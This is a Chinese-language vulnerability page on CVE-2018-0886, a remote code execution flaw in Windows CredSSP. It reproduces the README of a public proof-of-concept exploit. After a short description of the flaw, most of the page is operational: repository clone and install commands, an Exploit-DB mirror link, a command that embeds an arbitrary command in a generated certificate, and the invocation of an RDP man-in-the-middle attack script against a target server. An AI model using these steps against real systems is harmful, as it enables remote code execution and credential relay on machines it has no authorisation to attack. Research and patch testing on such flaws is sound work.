Microsoft CredSSP CVE-2018-0886远程执行代码漏洞

介绍

Microsoft Windows Server 2008 SP2和R2 SP1，Windows 7 SP1，Windows 8.1和RT 8.1，Windows Server 2012和R2，Windows 10 Gold，1511,1687,1703和1709中的凭证安全支持提供程序协议（CredSSP）Windows Server 2016由于CredSSP在身份验证过程中验证请求的方式（即“CredSSP远程执行代码漏洞”），1709版本允许存在远程执行代码漏洞。

Exploit

# credssp

This is a poc code for exploiting CVE-2018-0886. It should be used for educational purposes only.
It relies on a fork of the rdpy project(https://github.com/preempt/rdpy), allowing also credssp relay. 


Written by Eyal Karni, Preempt 
ekarni@preempt.com 

# Build

## Instructions (Linux)
If you are using Ubuntu 14 , check the install file.. 
It was tested on Ubuntu 16.04. 

$ git clone https://github.com/preempt/rdpy.git rdpy
$ git clone https://github.com/preempt/credssp.git
$ cd credssp/install
$ sh install.sh
$ cd ../../rdpy
$ sudo python setup.py install

EDB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44453.zip

* It assumes a pretty clean inital state. Best to uninstall first relevant compontants such as cryptography,pyopenssl maybe (pip uninstall cryptography).  
* A different version of openssl needed to be installed for this to run successfully.  The install script does that. 
* Please follow the instructions in the described order. 

# Running the exploit 


Export a certificate suitable for Server Authentication from any domain.


To generate a suitable certificate for the command to execute : 

$ python credssp/bin/gen_cmd.py -c ExportedCert -o exploitc.pem -k exploitk.pem CMD

(exploitc.pem ,exploitk.pem are the generated certificate and private key respectively)

To run the attack script: 

$ python /usr/local/bin/rdpy-rdpcredsspmitm.py -k exploitk.pem -c exploitc.pem TargetServer

More details are in the usage section of the scripts(--help).